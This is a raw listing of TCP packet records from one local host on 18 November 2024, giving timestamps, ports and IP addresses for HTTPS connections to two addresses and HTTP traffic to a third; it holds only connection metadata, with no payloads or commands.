Nov 18, 2024 20:21:28.391026020 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.391107082 CET	49744	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.391139030 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.391200066 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.391268969 CET	49744	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.391275883 CET	443	49744	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.428889036 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.431360006 CET	49741	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.431423903 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.433361053 CET	49741	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.433381081 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.433428049 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.434596062 CET	49742	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.434623957 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.435118914 CET	49742	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.435133934 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.515465975 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.515552044 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.515681028 CET	49740	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.516037941 CET	49740	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.516062021 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.516086102 CET	49740	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.516093969 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.520268917 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.520320892 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.520458937 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.520723104 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.520741940 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.562885046 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.563296080 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.563446045 CET	49741	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.563782930 CET	49741	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.563812017 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.563827991 CET	49741	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.563836098 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.565001011 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.565711975 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.566493988 CET	49742	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.566607952 CET	49742	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.566622019 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.566639900 CET	49742	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.566647053 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.567998886 CET	49746	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.568043947 CET	443	49746	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.568156004 CET	49746	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.568671942 CET	49746	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.568686008 CET	443	49746	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.569328070 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.569358110 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.569441080 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.569658995 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.569674015 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.829638958 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:28.829771996 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:28.829878092 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:28.832813978 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:28.832838058 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:28.832853079 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:28.832860947 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:28.839891911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:28.845980883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:28.847866058 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:28.848376036 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:28.853976965 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.386647940 CET	443	49746	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.387609005 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.387952089 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.388504982 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.391752005 CET	443	49744	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.431344032 CET	49746	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.431369066 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.431369066 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.431396961 CET	49744	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.431395054 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.488497972 CET	49744	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.488523960 CET	443	49744	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.489006042 CET	49744	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.489013910 CET	443	49744	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.489546061 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.489592075 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.490068913 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.490089893 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.490355968 CET	49746	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.490364075 CET	443	49746	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.490786076 CET	49746	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.490799904 CET	443	49746	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.491055965 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.491076946 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.491816044 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.491832972 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.493175030 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.493202925 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.494153023 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.494168043 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.616151094 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.616240978 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.616329908 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.616759062 CET	443	49744	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.616961956 CET	443	49744	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.618141890 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.618213892 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.618211985 CET	49744	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.618262053 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.624835968 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.624924898 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.625008106 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.625457048 CET	443	49746	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.625619888 CET	443	49746	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.627871037 CET	49746	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.674932957 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.674997091 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.675050974 CET	49747	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.675069094 CET	443	49747	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.676811934 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.676851034 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.676871061 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.676879883 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.678278923 CET	49746	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.678312063 CET	443	49746	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.679286003 CET	49744	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.679292917 CET	443	49744	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.680471897 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.680471897 CET	49745	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.680493116 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.680511951 CET	443	49745	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.690726042 CET	49749	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.690814972 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.690907001 CET	49749	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.699058056 CET	49750	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.699135065 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.699214935 CET	49750	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.699630976 CET	49749	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.699701071 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.701293945 CET	49751	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.701354980 CET	443	49751	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.701416016 CET	49751	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.701636076 CET	49751	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.701656103 CET	443	49751	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.701863050 CET	49750	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.701934099 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.703248978 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.703282118 CET	443	49752	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.703345060 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.703614950 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.703630924 CET	443	49752	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.705677032 CET	49753	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.705724001 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.705806971 CET	49753	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.707730055 CET	49753	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:29.707745075 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:29.782159090 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782233000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782270908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782305002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782336950 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:29.782337904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782361984 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:29.782371998 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782406092 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782440901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782452106 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:29.782495975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782533884 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.782542944 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:29.782629967 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:29.788702965 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:29.837579966 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.097949028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098018885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098051071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098084927 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098087072 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098119020 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098149061 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098153114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098187923 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098222017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098239899 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098259926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098288059 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098294020 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098326921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098361015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098372936 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098397017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098403931 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098426104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098459005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098470926 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098496914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098507881 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098526955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098560095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098599911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098602057 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098633051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098674059 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.098701954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098737001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.098786116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.328955889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.329127073 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.331357002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.331415892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.331451893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.331465006 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.331485987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.331522942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.331543922 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.331556082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.331589937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.331624985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.331633091 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.331659079 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.332047939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.332081079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.332114935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.332125902 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.332195997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.332238913 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.332849979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.332884073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.332920074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.332932949 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.332972050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.333019972 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.333821058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.333853960 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.333889961 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.333926916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.333954096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.334008932 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.334681034 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.334868908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.334902048 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.334917068 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.334937096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.334985018 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.335633039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.335861921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.335895061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.335907936 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.335932016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.335978985 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.337085962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.337120056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.337153912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.337163925 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.378575087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.378669977 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.378796101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.415705919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.415725946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.415739059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.415769100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.415769100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.415808916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.416344881 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.416369915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.416382074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.416394949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.416414976 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.416444063 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.417572975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.417618036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.417630911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.417673111 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.417696953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.419035912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.419837952 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.459767103 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.460604906 CET	49749	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.460665941 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.461078882 CET	49749	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.461097956 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.466120005 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.467989922 CET	443	49751	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.468348980 CET	49750	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.468400955 CET	49751	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.468406916 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.468410969 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.468437910 CET	443	49751	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.468878984 CET	49750	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.468933105 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.469019890 CET	49751	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.469029903 CET	443	49751	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.469166994 CET	49753	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.469198942 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.469609976 CET	49753	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.469616890 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.477534056 CET	443	49752	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.477957964 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.477988958 CET	443	49752	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.478632927 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.478645086 CET	443	49752	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.499016047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.499146938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.499228001 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.534677029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.534694910 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.534707069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.534718990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.534831047 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.534912109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.534924030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.534935951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.534955978 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.535459042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.535471916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.535485029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.535502911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.535526037 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.535588026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.536420107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.536432981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.536443949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.536457062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.536467075 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.536495924 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.537333965 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.537390947 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.537419081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.587630033 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.590476036 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.590687990 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.590787888 CET	49749	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.590837002 CET	49749	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.590837002 CET	49749	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.590862036 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.590874910 CET	443	49749	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.593766928 CET	49754	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.593837023 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.594151020 CET	49754	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.594151020 CET	49754	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.594284058 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.597763062 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.597834110 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.597981930 CET	49750	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.598025084 CET	49750	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.598025084 CET	49750	443	192.168.2.5	13.107.246.45
